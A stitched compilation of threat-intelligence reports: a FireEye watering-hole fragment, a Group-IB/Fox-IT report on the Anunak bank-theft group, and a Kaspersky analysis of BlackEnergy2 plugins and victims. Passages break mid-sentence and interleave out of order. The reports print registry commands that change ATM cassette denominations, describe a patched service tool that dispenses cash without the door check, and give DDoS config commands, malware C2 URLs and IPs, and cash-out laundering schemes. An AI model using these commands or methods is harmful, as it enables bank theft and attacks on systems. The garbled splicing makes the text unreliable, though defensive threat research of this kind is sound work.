Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research. To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. Copyright 2013 Arbor Networks, Inc. All rights reserved. Aided Frame, Aided Direction (Because it s a redirect) Introduction: On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation. Activity Overview: On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content: with the subject Updated agreement version . The attachment agreement.doc exploits the vulnerability CVE-2012-2539 and CVE-2012-0158. The emailing was conducted for more than 70 addresses of various companies (where multiple recipient addresses may be within one company). The letter with malicious attachment (md5: AA36BA9F- 4DE5892F1DD427B7B2100B06) in the archive with a password from a potential client was sent to a bank manager after a preliminary telephone conversation with him. The call origin is Saint Petersburg. Contents of a text file named .doc (partner detais.doc) Company Our Century , Ltd. 109387, Russia, Moscow, Anosov str., 24, office 409 Tel. (495) 124-99-77 Fax: (495)124-99-77 Mobile (962) 7135296 E-mail: x60x@nxt. ru INN 7329001307 KPP 732901001 Account 40702810613310001709 Branch of VTB 24 (JSC), Moscow Correspondent account 30101810700000000955 BIC 043602955 A letter on behalf of the Central Bank of Russia with a malicious attachment (md5: 8FA296EFAF87FF4D9179283D42372C52) exploited the vulnerability CVE-20122539 in order to execute arbitrary code. There were also other examples of emails with malicious attachments, such as emailing with the file 001. photo.exe A more detailed list of such attachments you can see in the Table Email attachments AT M attac ks Contents of the file 1.bat Availability of access to bank internal networks opens great opportunities for the hackers. One of these opportunities is access to ATMs from special network segments that had to be isolated. It is confirmed that this criminal group gained access to 52 ATMs. The amount of damage exceeds 50 million rubles. As a result of access to ATMs, depending on the ATM model, hackers used different patterns. REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_1 /t REG_SZ 5000 REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_2 /t REG_SZ 1000 REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_3 /t REG_SZ REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_4 /t REG_SZ hange denomination of w i t h d r a wa l banknotes Having access, the attackers downloaded malicious scripts and changed denominations of issued banknotes in the ATM operating system registry. As a result, for query to get 10 notes with denomination of 100 roubles the attackers received 10 banknotes with denomination of 5,000 roubles. The used malicious script and program were developed for the platform Wincor. REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_1 /t REG_SZ REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\ Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER /v VALUE_4 /t REG_SZ 5000 The malicious script contains the following commands: shutdown -r -t 0 Figure. Service program KDIAG32 for Wincor ATMs Figure. Hidden window in the original program KDIAG32 program that allows by the command to issue money from the dispenser. The original debug program issues money through the dispenser only when the open ATM housing and the vault door are fixed. Execution of this file changed registry keys in the registry branch HKEY_LOCAL_MACHINE\ SOFTWARE\Wincor Nixdorf\ProTopas\CurrentVersion\LYNXPAR\CASH_DISPENSER that are responsible for cassette denominations in an ATM. As a result of this file execution the registry key that is in charge of the cassette number 1 (VALUE_1) is takes the value , and the registry key responsible for the cassette number 4 (VALUE_4) is set to 5000 . Then the command to restart the computer is issued. The registry key reference values: Registry key name Value VALUE_1 5000 VALUE_2 1000 VALUE_3 VALUE_4 In order to ensure money issuance from the closed ATM the attackers had to modify the original program KDIAG32 (the original file: size of 1,128,960 MD5 4CC1A6E049942EBDA395244C74179EFF). File Name Size, bytes MD5 hash A0064575. 1 128 960 49C708AAD19596CC A380FD02AB036EB2 A comparison of the original version of the program with the modified version showed that the only difference is in ignoring error Door not opened or missing! . The figure below shows an error message that will be never displayed to the user in the file under investigation. If the ATM actual load corresponds to the reference one and registry keys have been changed, then the banknotes from the cassette No.1 will be issued with denomination 5000 instead of A n d r om e da u s ag e w i t h d r a wa l o f a l l c a s h from dispenser All traces found during investigation of one incident showed that the same criminal group had worked. Ammy Admin was used for remote access, the same In addition, the attackers used a modified debug SSHD backdoor was installed on Unix servers and, In addition, it was loaded from the same hacked server as in other cases of trojan Anunak usage. However, in this case Andromeda is used as the main trojan instead of Anunak. The management servers were located in Kazakhstan, Germany and Ukraine. Check of the management servers showed that it was the hosting Bulletproof that, in addition to servers, provides a service of traffic proxying through its infrastructure as well as TOR and VPN usage, so this pattern is significantly differs from the Anunak hosting patern. Check of money cashout showed that the same cashout criminal group had worked as for Anunak and this fact again confirmed their cooperation. victim type (a bank or a payment system), thirdly by the total stolen sum. The victims by their type were divided rather by counterparty types and by limitations imposed by operation with the counterparties. For example, all payments were required to go through a certain pool of mediators. In addition, the improper pool of counterparties could cause suspicion and unnecessary testing (manual processing of payment orders). Obtained Andromeda trojan copies were being distributed from August 2014 by e-mail. The value 754037e7be8f61cbb1b85ab46c7da77d, which is the MD5 hash of the string go fuck yourself , was used as the RC4 encryption key. As a result of this distribution from August to late October the Andromeda botnet rose up to 260,000 bots. Successful infection in one subnet resulted in sending such letters to other bank employees. Example of forwarding from an infected bank network to employees of another bank is shown below. Bank (amounts up to 100 million roubles): As a result of this radial mailing many oil and gas companies, banks and government agencies were infected. In Russia at least 15 banks and two payment systems were infected this way. When the attackers had obtained control of a bank operator workstation (attacker purpose), they in general used a classic tree scheme when funds from the bank account were sent to several legal entities, then from each legal entity to smaller legal entities (may be several such iterations) and then to private person credit cards (from 600 to 7000 transactions). When the attackers had obtained control of ATM management service (attacker purpose), money were withdrawn directly from the ATM by the attacker command. In this case the whole cashout process consisted in that a drop person had to be near the ATM at the specified time with a bag to empty the dispenser. Letters with similar attachments were being distributed with the following subjects: My new photo Alert Transactions Report by users from 201409-28 to 2014-09-28 Bank (amounts from 100 million roubles): Cas h o u t s c h e m as Money was sent to accounts of other banks, and cracked banks were often used where accounts and credit cards had been prepared in advance. Payment system: Previously, it should be noted the fact that the process of stolen money withdrawal (cashout) was differed, firstly by the theft method, secondly by the In addition to all the above methods, cash sending channels were also employed through the settlements systems, electronic wallets and payment systems, such as web money, Yandex Money, QIWI (1500-2000 transactions). Revenues of large amounts (up to 50 million roubles) were recorded to particular cards of private persons who then used these cards to buy expensive small-sized goods such as jewelry, watches, and other attributes. A huge part of the money was sent through mobile operators (1500-2000 SIM cards prepared in advance). increased to 5. In general, this increase was due to number of thefts too (number of victims + average stolen sum per 1 victim). The groups are working in different cities to ensure better cashout distribution. Also these groups include immigrants from former Soviet republics who if necessary arrive in the required city. Each group was monitored by a separate person. Each group consists of about 15-20 people. In spring 2014 (high time of this fraud type) 2 cashout person groups were known who supported target attacks, by autumn 2014 their number Part of the money was transferred to Ukraine and Belarus. Ma lwa r e s a m p l e s anunak File name C&C domain C&C IP D1DE522652E129C37759158C14D48795 ntxobj.exe blizko.net 31.131.17.125 C687867E2C92448992C0FD00A2468752 ntxobj.exe blizko.org 31.131.17.125 A1979AA159E0C54212122FD8ACB24383 spoolsv.exe update-java.net 146.185.220.200 0AD4892EAD67E65EC3DD4C978FCE7D92 ZwGuKEMphiZgNT.com great-codes.com 188.138.16.214 mind-finder.com 188.138.16.214 CC294F8727ADDC5D363BB23E10BE4AF2 svchost.exe adguard.name 5.199.169.188 CC294F8727ADDC5D363BB23E10BE4AF2 d.exe adguard.name 146.185.220.97 CC294F8727ADDC5D363BB23E10BE4AF2 A0050236.exe adguard.name 5.199.169.188 AC5D3FC9DA12255759A4A7E4EB3D63E7 svchost.exe adguard.name 5.199.169.188 comixed.org 91.194.254.90 traider-pro.com 91.194.254.94 5.1.83.133 216.170.117.88 10.74.5.100 FC6D9F538CDAE19C8C3C662E890AF979 Dc1.exe public-dns.us 37.235.54.48 FC6D9F538CDAE19C8C3C662E890AF979 Dc1.exe public-dns.us 146.185.220.200 FC6D9F538CDAE19C8C3C662E890AF979 Dc1.exe freemsk-dns.com 146.185.220.200 3dc8c4af51c8c367fbe7c7feef4f6744 185.10.56.59 3e90bf845922cf1bf5305e6fdcc14e46 worldnewsonline.pw 5.101.146.184 1f80a57a3b99eeb8016339991a27593f CONTRACT.doc financialnewsonline.pw 185.10.58.175 b63af72039e4fb2acd0440b03268b404 QWcQAwoI.exe great-codes.com 188.138.16.214 mind-finder.com 188.138.16.214 veslike.com 65.19.141.199 publics-dns.com 91.194.254.94 09c8631c2ba74a92defb31040fe2c45a QWcQAwoI.exe coral-trevel.com 87.98.153.34 9d718e86cacffa39edafbf9c1ebc9754 Oplata.scr paradise-plaza.com 91.194.254.93 mimikatz File name 5D1AE2391DFB02E573331B3946F0C314 mimi.exe 8DD78371B2D178FB8C8A9B1012D7E985 m86.exe 8646E3D8FFFFE854D5F9145C0AB413F6 00019114 E464D4804D36FDDF0287877D66D5037A 00030724 DE9F4CBB90C994522553AB40AC2D5409 00032800 E9FC0F53C7C0223DE20F1776C53D3673 A0049585.exe A4B053D9EC7D5EDB207C208BFBE396EC A0050233.dll 86BD7F72A495A22B22070C068B591DF8 A0050235.sys 2B817BD8195DC7F56500F38A0C740CEF m.exe andromeda File name C&C domain C&C IP 4CF26F8E2F6864C4A8AAA7F92E54E801 001. photo.exe ddnservice10.ru/and/jopagate.php ddnservice11.ru/and/jopagate.php 144.76.215.219 mbr_eraser File name 934E1055B171DF0D3E28BE9831EB7770 MBR_Eraser.exe email at tachments File name C&C domain 8FA296EFAF87FF4D9179283D42372C52 -115 24.06.2014 .doc_ CVE-2012-2539 AA36BA9F4DE5892F1DD427B7B2100B06 .doc.cpl ( partner details.doc.cpl CVE-2012-0158, CVE-2012-2539 4CF26F8E2F6864C4A8AAA7F92E54E801 001. photo.exe 17984EB3926BF99F0CCB367F4FBA12E3 .doc About changes of electronic interaction rules.doc CVE-2012-0158 94666BCA3FE81831A23F60C407840408 .doc ( About peculiarities of organizing and conducting inspections of credit institutions.doc CVE-2012-0158 Attac ks i n E u r o p e a n d US A and Anunak variants. This was one of the main methods for the group using Anunak to obtain interesting infections in the middle of 2014, sourcing infections from other botnet operators.More recently other infection methods, including spear phishing using English language and possibly also usage of the teams own Andromeda, but also SQL injection to breach an organization directly from the outside, has been employed by this team. While the attacks in Russia against banks and payment systems have occurred over the past two years, the attacks against the retail industry is only something which started in the second quarter of 2014. With at least three confirmed breaches where card track data was obtainedand a total of at least 16 breaches at retail organizations, it is also becoming a serious threat. Apart from retail organizations it is also known that a number of media and PR companies have been breached in 2014. While it is not entirely certain, the type of breaches suggest that the attackers are looking for inside information, a type of industrial espionage, allowing them to gain an advantage on the stock market. As there is nothing specifically missing and the resulting fraud is hard to match with anything, these incidents typically are never linked. Retail Media/PR/ Marketing Australia Spain Italy pos compromises The first known attacks with Anunak targeted a specific brand of POS systems which revolved around the Epicor/NSB brand. To do this Anunak has specific code to target POS devices equipped with this software, which in contrary to the more common memory scanning track data scrapers, logs a wealth of information from the payments done by the cards. The first case this was seen active was in July 2014, but it might have been earlier as well. More recent breaches have used a new custom developed POS malware, which is a more simple but reliable track data memory scraper. The initial version from the early fall of 2014 used a simple blacklist, scraped every process and dumped track data in plain text. More recent versions scanned only configuration specified processes and used RC4 to encrypt the extracted track data records on disk. Table: Overview of compromises per region and sector. additional targets While the retail industry is one of its main targets due to its payment processing capabilities, other compromises might occur indirectly, for example to obtain databases with information or other information that is of value to the organized criminal group. One of the possibilities is obtaining lists of corporate email addresses to have a higher chance of interesting infections. infection methods From the retail perspective, the first infections in 2014 were sourced from a botnet which employs a widely deployed crypto-currency mining malware based on the Gozi/ISFB (banking) malware family. Based on our insights we believe during the first half of 2014 over half a million systems had been compromised by this malware from over the whole world, however Russia and a number of post-Soviet states were clean of infections. To find interesting infections within this large set of compromised systems, the malware extracts relevant information from the systems including Microsoft Windows organization registration information and network/ Windows domain information. At this moment we have no evidence of successful compromise or theft of banks and payment systems outside of Russia, but several infections in the east of Europe (specifically Ukraine and Latvia) were active in 2014. These specific infections were related to infrastructure of organizations based in Russia or with significant interests in Russia, thus more likely related to the breaches at the same organization in Russia. The Gozi/ISFB based malware was used to drop additional components on interesting systems, which included Metasploit/Meterpreter payloads The majority of infections from Europe were from dedicated servers used as exit node for VPN services, promised organizations were methods employed by these attackers. This also includes video captures made by the Anunak malware, allowing attackers to observe the behavior of users of certain applications. the systems infected were likely from Eastern European or Russian origin, and possibly test infections from the attackers. We have no evidence of compromises against banks in Western Europe or United States, but it should be noted that the attackers methods could be utilized against banks outside of Russia as well. A bo u t u s group-ib methods of l ateral movement and persistence Group-IB is one of the leading international companies specializing in preventing and investigating high-tech cyber crimes and fraud. The company offers a range of services on preventing financial and reputational damages, consulting and auditing of information security systems, and on computer forensics. The company also develops a number of innovative software products used to monitor, detect and prevent emerging cyber threats. The group uses Metasploit as one of their main hacking tools, either stand alone or as part of a framework. The activity includes port scanning and system reconnaissance, escalating privileges on systems by using for example the recent CVE-20144113 vulnerability, gathering credentials and hopping on to other systems and networks. Metasploit is being used to its full potential with scanning, exploiting, privilege escalation and post exploitation persistence being achieved with its standard toolset. The Group-IB team is made up of experts with unique skills and solid practical experience. They are internationally certified by CISSP, CISA, CISM, CEH, CWSP, GCFA and also have information security state certificates. In 2013, computer security incident response team CERT-GIB operated by Group-IB became a member of FIRST Forum of Incident Response and Security Teams. On interesting and critical systems typical hacking tools might be found to establish tunnels out of the network, either tools that are part of the Metasploit framework such as Meterpreter, but also other tools to achieve persistence on those systems. The connect back methods seen are typically SSL over port 443, but also DNS based methods were observed. The attackers use BITS to download files, but also make use of Windows built-in PowerShell to download tools and execute commands. Finally on the critical systems freshly crypted and non-detected versions of Anunak are deployed, typically these are used in very limited deployments thus their spread is limited and detection by Anti-Virus is very rare. In 2013, the company became a member of the international cyber security alliance IMPACT (International Multilateral Partnership Against Cyber Threats). www.group-ib.com fox-it Fox-IT creates innovative cyber security solutions for a more secure society. We are dedicated to our clients, our values, and our integrity. Fox-IT delivers solutions before, during and after attacks. InTELL is the real-time cyber intelligence product from Fox-IT. It provides a layered intelligence approach: actionable data feeds into operational risk decision systems. Real time threat information allows for tactical decisions and mitigation. InTELL provides a full real-time insight in the global threat landscape. We base our intelligence around actor attribution. This angle drives a unique visibility on online threats InTELL sees threats before they enter the botnet. Information is delivered through our collaboration portal, alerting, and through automated feeds powered by industry standard transports. Various stealth methods including the aforementioned backconnect SSL and DNS tunneling for compromise persistence and data exfiltration are used. The Anunak malware has multiple ways of connecting to backends, which includes a PHP based backend reachable over HTTP and HTTPS, and a Windows server based component using a proprietary protocol. The use of VNC scanning and password brute forcing, the adding of additional administrator accounts, use of RDP Wrapper to allow concurrent RDP sessions are all methods to gain access and achieve persistent access to compromised systems employed by this group. Additionally various ways of creating incidental and regular screen captures of the desktop of persons of interest within com- www.fox-it.com BE2 Custom Plugins, Router Abuse, and Target Profiles The BlackEnergy malware is crimeware turned APT tool and is used in significant geopolitical operations lightly documented over the past year. An even more interesting part of the BlackEnergy story is the relatively unknown custom plugin capabilities to attack ARM and MIPS platforms, scripts for Cisco network devices, destructive plugins, a certificate stealer and more. Here, we present available data - it is difficult to collect on this APT. We will also present more details on targets previously unavailable and present related victim profile data. These attackers are careful to hide and defend their long-term presence within compromised environments. The malware's previously undescribed breadth means attackers present new technical challenges in unusual environments, including SCADA networks. Challenges, like mitigating the attackers' lateral movement across compromised network routers, may take an organization's defenders far beyond their standard routine and out of their comfort zone. Brief History BlackEnergy2 and BlackEnergy3 are known tools. Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. There are no indications of how many groups possess this tool. BlackEnergy2 was eventually seen downloading more crimeware plugins - a custom spam plugin and a banking information stealer custom plugin. Over time, BlackEnergy2 was assumed into the toolset of the BE2/Sandworm actor. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called "Sandworm Team" also. The Plugins and Config Files Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry's 2010 Black DDoS' analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. It also instructs the loader to pass certain commands to the plugins. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual 'ddos' plugin listing. Displayed below are these new, xml formatted plugin names "weap_hwi", "ps", and "vsnet" in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as "version 1", including the ddos plugin: Config downloaded from BE2 server The 'ps' plugin turned out to be password stealer. The 'vsnet' plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user's computer and network. Most surprising was the 'weap_hwi' plugin. It was a ddos tool compiled to run on ARM systems: Weap_hwi plugin At first, we didn't know whether the ARM plugin was listed intentionally or by mistake, so we proceeded to collect the CnC's config files. After pulling multiple config files, we confirmed that this ARM object inclusion was not a one-off mistake. The server definitely delivered config files not only for Windows, but also for the ARM/MIPS platform. Though unusual, the ARM module was delivered by the same server and it processed the same config file. Linux plugins Over time we were able to collect several plugins as well as the main module for ARM and MIPS architectures. All of these ARM/MIPS object files were compiled from the same source and later pushed out in one config: "weap_msl", "weap_mps", "nm_hwi", "nm_mps", "weap_hwi", and "nm_msl". It's interesting that the BE2 developers upgraded the ddos plugin to version 2, along with the nm_hwi, nm_mps, and nm_msl plugins. They simultaneously released version 5 of the weap_msl, weap_mps, and weap_hmi plugins. Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style: Config with a similar set of plugins for different architectures Here is the list of retrieved files and related functionality: weap DDoS Attack (various types) password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet) scans ports, stores banners snif logs IP source and destination, TCP/UDP ports hook main module: CnC communication, config parser, plugins loader uper rewrites hook module with a new version and launches it Weap, Snif, Nm plugin grammar mistakes and mis-spellings The developers' coding style differed across the 'Hook' main module, the plugins, and the Windows main.dll. The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure. This structure obfuscation may be a rewrite effort to better modularize the code, but could also be intended to complicate analysis. Regardless, it is likely that different individuals coded the different plugins. So, the BE2 effort must have its own small team of plugin and multiplatform developers. Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules: The CNC's IP address in the Linux module This Linux module can process the following commands, some of which are similar to the Windows version: delete all BlackEnergy2 files and system traces kill delete all BlackEnergy2 files and system traces and reboot lexec launch a command using bin/sh rexec download and launch file using 'fork/exec' update rewrite self file migrate update the CnC server Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs. During an extended period, we were able to collect many Windows plugins from different CnC servers, without ever noticing Linux plugins being downloaded as described above. It appears the BE2/SandWorm gang protected their servers by keeping their non-Windows hacker tools and plugins in separate servers or server folders. Finally, each CnC server hosts a different set of plugins, meaning that each server works with different victims and uses plugins based on its current needs. Here is the summary list of all known plugins at the moment: searches for given file types, gets primary system and network information password stealer from various sources makes screenshots vsnet spreads payload in the local network (uses psexec, accesses admin shares), gets primary system and network information remote desktop scan scans ports of a given host backup channel via plus.google.com file infector (local, shares, removable devices) with the given payload downloaded from CnC cert certificate stealer logs traffic, extracts login-passwords from different protocol (HTTP, LDAP, FTP, POP3, IMAP, Telnet ) sets password hash in the registry for TeamViewer Proxy server dstr Destroys hard disk by overwriting with random data (on application level and driver level) at a certain time keylogger BE2 service file updater gathers information on connected USBs (Device instance ID, drive geometry) bios gathers information on BIOS, motherboard, processor, OS We are pretty sure that our list of BE2 tools is not complete. For example, we have yet to obtain the router access plugin, but we are confident that it exists. Evidence also supports the hypothesis that there is a decryption plugin for victim files (see below). Our current collection represents the BE2 attackers' capabilities quite well. Some plugins remain mysterious and their purpose is not yet clear, like 'usb' and 'bios'. Why would the attackers need information on usb and bios characteristics? It suggests that based on a specific USB and BIOS devices, the attackers may upload specific plugins to carry out additional actions. Perhaps destructive, perhaps to further infect devices. We don't know yet. It's also interesting to point out another plugin 'grc'. In some of the BE2 configuration files, we can notice an value with a "gid" type: The addr number in the config This number is an ID for the plus.google.com service and is used by the 'grc' plugin to parse html. It then downloads and decrypts a PNG file. The decrypted PNG is supposed to contain a new CNC address, but we never observed one. We are aware of two related GooglePlus IDs. The first one, plus.google.com/115125387226417117030/, contains an abnormal number of views. At the time of writing, the count is 75 million: BE2 plus profile The second one - plus.google.com/116769597454024178039/posts - is currently more modest at a little over 5,000 views. All of that account's posts are deleted. Tracked Commands During observation of the described above "router-PC" CnC we tracked the following commands delivered in the config file before the server went offline. Our observation of related actions here: u ps start password stealing (Windows) Ps_mps/ps_hwi start start password stealing (Linux, MIPS, ARM) uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM) Nm_mps/nm_hwi start ban -middle Scan ports and retrieve banners on the router subnet (Linux, MIPS, ARM) U fsget * 7 *.docx, *.pdf, *.doc * search for docs with the given filetypes (Windows) S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route table, trace route to google.com (Windows) weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995] typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS, ARM) weap_mps/weap_hwi typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS, ARM) The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers. 188.128.123.52 belongs to the Russian Ministry of Defense and 212.175.109.10 belongs to the Turkish Ministry of Interior's government site. While many researchers suspect a Russian actor is behind BE2, judging by their tracked activities and the victim profiles, it's still unclear whose interests they represent. While observing some other CnCs and pulling down config files, we stumbled upon some strange mistakes and mis-typing. They are highlighted in the image below: BE2 config file mistakes First, these mistakes suggest that the BE2 attackers manually edit these config files. Secondly, it shows that even skilled hackers make mistakes. Hard-Coded Command and Control The contents of the config files themselves are fairly interesting. They all contain a callback c2 with a hardcoded ip address, some contain timeouts, and some contain the commands listed above. We include a list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of the host: C2 IP address Owner Country 184.22.205.194 hostnoc.net 5.79.80.166 Leaseweb 46.165.222.28 Leaseweb 95.211.122.36 Leaseweb 46.165.222.101 Leaseweb 46.165.222.6 Leaseweb 89.149.223.205 Leaseweb 85.17.94.134 Leaseweb 46.4.28.218 Hetzner 78.46.40.239 Hetzner 95.143.193.182 Serverconnect 188.227.176.74 Redstation 93.170.127.100 Nadym 37.220.34.56 Yisp 194.28.172.58 Besthosting.ua 124.217.253.10 PIRADIUS 84.19.161.123 Keyweb 109.236.88.12 worldstream.nl 212.124.110.62 digitalone.com 5.61.38.31 3nt.com 5.255.87.39 serverius.com It's interesting that one of these servers is a Tor exit node. And, according to the collected config files, the group upgraded their malware communications from plain text http to encrypted https in October 2013. BE2 Targets and Victims BlackEnergy2 victims are widely distributed geographically. We identified BlackEnergy2 targets and victims in the following countries starting in late 2013. There are likely more victims. Russia Ukraine Poland Lithuania Belarus Azerbaijan Kyrgyzstan Kazakhstan Iran Israel Turkey Libya Kuwait Taiwan Vietnam India Croatia Germany Belgium Sweden Victim profiles point to an expansive interest in ICS: power generation site owners power facilities construction power generation operators large suppliers and manufacturers of heavy power related materials investors However, we also noticed that the target list includes government, property holding, and technology organizations as well: high level government other ICS construction federal land holding agencies municipal offices federal emergency services space and earth measurement and assessment labs national standards body banks high-tech transportation academic research Victim cases We gained insight into significant BE2 victim profiles over the summer of 2014. Interesting BE2 incidents are presented here. Victim #1 The BE2 attackers successfully spearphished an organization with an exploit for which there is no current CVE, and a metasploit module has been available This email message contained a ZIP archive with EXE file inside that did not appear to be an executable. This crafted zip archive exploited a WinRAR flaw that makes files in zip archives appear to have a different name and file extension. BE2 spearphish example The attached exe file turned out to be 'BlackEnergy-like' malware, which researchers already dubbed 'BlackEnergy3' - the gang uses it along with BlackEnergy2. Kaspersky Lab detects 'BlackEnergy3' malware as Backdoor.Win32.Fonten naming it after its dropped file "FONTCACHE.DAT" When investigating computers in the company's network, only BE2 associated files were found, suggesting BE3 was used as only a first-stage tool on this network. The config files within BE2 contained the settings of the company's internal web proxy: BE2 config file contains victim's internal proxy As the APT-specific BE2 now stores the downloaded plugins in encrypted files on the system (not seen in older versions all plugins were only in-memory), the administrators were able to collect BE2 files from the infected machines. After decrypting these files, we could retrieve plugins launched on infected machines: ps, vsnet, fs, ss, dstr. By all appearances, the attackers pushed the 'dstr' module when they understood that they were revealed, and wanted to hide their presence on the machines. Some machines already launched the plugin, lost their data and became unbootable. Desstructive dstr command in BE2 config file Also, on some machines, documents were encrypted, but no related plugin could be found. Victim #2 The second organization was hacked via the first victim's stolen VPN credentials. After the second organization was notified about the infection they started an internal investigation. They confirmed that some data was destroyed on their machines, so the BE2 attackers have exhibited some level of destructive activity. And, they revealed that their Cisco routers with different IOS versions were hacked. They weren't able to connect to the routers any more by telnet and found the following "farewell" tcl scripts in the router's file system: Ciscoapi.tcl contains various wrappers over cisco EXEC-commands as described in the comments. The comment includes a punchy message for "kasperRsky": BE2 ciscoapi.tcl fragment Killint.tcl uses Ciscoapi.tcl, implements destroying functions: BE2 killint.tcl fragment The script tries to download ciscoapi.tcl from a certain FTP server which served as a storage for BE2 files. The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang deleted them, and unfortunately couldn't restore them after they were deleted. The BE2 actor performs careful, professional activity covering their tracks: ciscoapi.tcl killint.tcl telnetapi2.tcl telnetu.tcl stub.tcl stub1.tcl There is evidence that the logs produced by some scripts were also stored on the FTP server, in particular the information on CDP neighbors which is provided by one of the procedures of ciscoapi.tcl. Victim #3 The third organization got compromised by the same type of attack as the first one (an EXE file spoofing a doc within a Zip archive). All the plugins discovered in BE2 files were known, and there was no revelation of hacked network devices on their side and no destroyed data. The noticeable thing is that many computers contained both BE2 and BE3 files and some config files contained the following URL: hxxps://46.165.222(dot)28/upgrade/f3395cd54cf857ddf8f2056768ff49ae/getcfg.php The URL contains the md5 of the string 'router'. One of the discovered config files contained a URL with an as yet unidentified md5: hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php Victim set #4 A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible for downloading and executing BlackEnergy. Starting in March 2014 and ending in July 2014, Siemens "ccprojectmgr.exe" downloaded and executed a handful of different payloads hosted at 94.185.85.122/favicon.ico. They are all detected as variants of "Backdoor.Win32.Blakken". Build IDs Each config file within BE2 main.dll has a field called build_id which identifies the malware version for the operators. Currently this particular BE/SandWorm gang uses a certain pattern for the build ids containing three hex numbers and three letters, as follows: 0C0703hji The numbers indicate the date of file creation in the format: Year-Month-Day. Still, the purpose of the letters is unknown, but most likely it indicates the targets. The hex numbers weren't used all the time, sometimes we observed decimal numbers: 100914_mg 100929nrT Most interesting for us was the earliest build id we could find. Currently it is "OB020Ad0V", meaning that the BE2/SandWorm APT started operating as early as the beginning of 2010. Appendix: IoC While BE dropper installs its driver under a randomly picked non-used Windows driver name, like %system32%\drivers\AliIde.sys. The driver is self-signed on 64-bit systems However, new "APT" BE2 uses one of the following filenames that are used as an encrypted storage for plugins and the network settings. They are consistent and serve as stable IoC: %system32%\drivers\winntd_.dat %system32%\drivers\winntd.dat %system32%\drivers\wincache.dat %system32%\drivers\mlang.dat %system32%\drivers\osver32nt.dat %LOCALAPPDATA%\adobe\wind002.dat %LOCALAPPDATA%\adobe\settings.sol %LOCALAPPDATA%\adobe\winver.dat %LOCALAPPDATA%\adobe\cache.dat BE2 also uses start menu locations for persistence: Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\flashplayerapp.exe BE3 uses the following known filenames: %USERPROFILE%\NTUSER.LOG %LOCALAPPDATA%\FONTCACHE.DAT BE2 MD5s: d57ccbb25882b16198a0f43285dafbb4 7740a9e5e3feecd3b7274f929d37bccf 948cd0bf83a670c05401c8b67d2eb310 f2be8c6c62be8f459d4bb7c2eb9b9d5e 26a10fa32d0d7216c8946c8d83dd3787 8c51ba91d26dd34cf7a223eaa38bfb03 c69bfd68107ced6e08fa22f72761a869 3cd7b0d0d256d8ff8c962f1155d7ab64 298b9a6b1093e037e65da31f9ac1a807 d009c50875879bd2aefab3fa1e20be09 88b3f0ef8c80a333c7f68d9b45472b88 17b00de1c61d887b7625642bad9af954 27eddda79c79ab226b9b24005e2e9b6c 